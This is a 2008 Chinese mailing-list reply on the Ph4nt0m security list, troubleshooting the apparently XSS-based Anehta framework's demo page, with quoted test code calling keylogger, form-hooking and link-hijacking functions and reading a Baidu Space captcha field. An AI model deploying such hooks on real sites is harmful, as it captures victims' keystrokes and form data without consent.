答复: [Ph4nt0m] Anehta测试的两个问题

Fri, 28 Nov 2008 06:54:44 -0800 

 

1.      不停的刷新是因为在与服务器做实时通信，不过不是整个页面reload，而是发
送连接吧。

 

如果你关闭realtimeCMD可能就不会不停刷了（在scanner.js 里一个函数控制），不过
不建议关闭。

 

 

2.      你改的那个地方：

anehtaCache.setItem("spVcode",
document.getElementsByName("spVcode")[0].value);

 

这句是用在百度空间里用来读取验证码，并存放在cache里，

 

可以参考我的视频演示 clientproxy.swf

 

如果你用demo.html 是没有用的

 

由于找不到 spVcode , 所以test.js 会报错，下面的语句就不执行了。

 

你改过后，这句就有语法错误了，也不会出现找不到 spVcode的问题，就又可以了。

 

你使用时候可以把这句删掉。不会影响正常功能。

 

 

3.    return document.getElementById(flashID).getWatermark(null);
这句是用来读取flash的水印的。

 

之所以会报错，我的理解是 javascript 不认识 getWatermark() 这个函数，因为这个
函数是定义在 flash 里的

属于 flash 的一个外部回调接口，在 js 里没有这个函数的定义，所以会报错

 

但在实际执行时候应该是没有问题的，因为flash认识这个东西，最终会去执行。

 

 

 

有什么问题请及时反馈，anehta的成长离不开大家的支持。

 

 

[Ph4nt0m] <http://www.ph4nt0m.org/>  

[Ph4nt0m Security Team]

                   <http://blog.ph4nt0m.org/> [EMAIL PROTECTED]

          Email:  [EMAIL PROTECTED]

          PingMe:
<http://cn.pingme.messenger.yahoo.com/webchat/ajax_webchat.php?yid=hanqin_wu
hq&sig=9ae1bbb1ae99009d8859e88e899ab2d1c2a17724> 

          === V3ry G00d, V3ry Str0ng ===

          === Ultim4te H4cking ===

          === XPLOITZ ! ===

          === #_# ===

#If you brave,there is nothing you cannot achieve.#

 

  _____  

发件人: [email protected] [mailto:[EMAIL PROTECTED] 代表
flying
发送时间: 2008年11月28日 20:43
收件人: [email protected]
主题: [Ph4nt0m] Anehta测试的两个问题

 

1.提供的DEMO页面不停地刷新~不了解为什么~

个人觉得与test 模块中我打开打开的函数有关，如下~

//anehtaCache.setItem("spVcode",
document.getElementsByName("spVcode")[0].value);
//这个地方不知道如果按照原来的也会报错，刚开始接触javascript，不明白为什么，
改成下面的就OK咯~
anehtaCache.setItem("spVcode", document.getElementsByName("spVcode").value);
anehta.trick.hijackLink(document.getElementById('ln'),
"http://www.baidu.com";);
anehta.hook.installKeyloggerToAllInputs();
//anehta.hook.installKeylogger(document.getElementById("username"), "blur");
anehta.hook.hookAllForms();
//anehta.hook.hookForm(document.getElementsByName("form1")[0]);
//document.getElementsByName("username")[0].style.visibility  = "hidden";
return document.getElementById(flashID).getWatermark(null);

2. return document.getElementById(flashID).getWatermark(null);
运行demo页面后报错，对象不支持此属性和方法~


-- 
水瓶座，代表着重生之水和智能的泉源,在现实世界里,一样的不爱受约束,忠于自己信
念!



--~--~---------~--~----~------------~-------~--~----~
 要向邮件组发送邮件，请发到 [email protected]
 要退订此邮件，请发邮件至 [EMAIL PROTECTED]
-~----------~----~----~----~------~----~------~--~---

<<inline: image001.gif>>

回复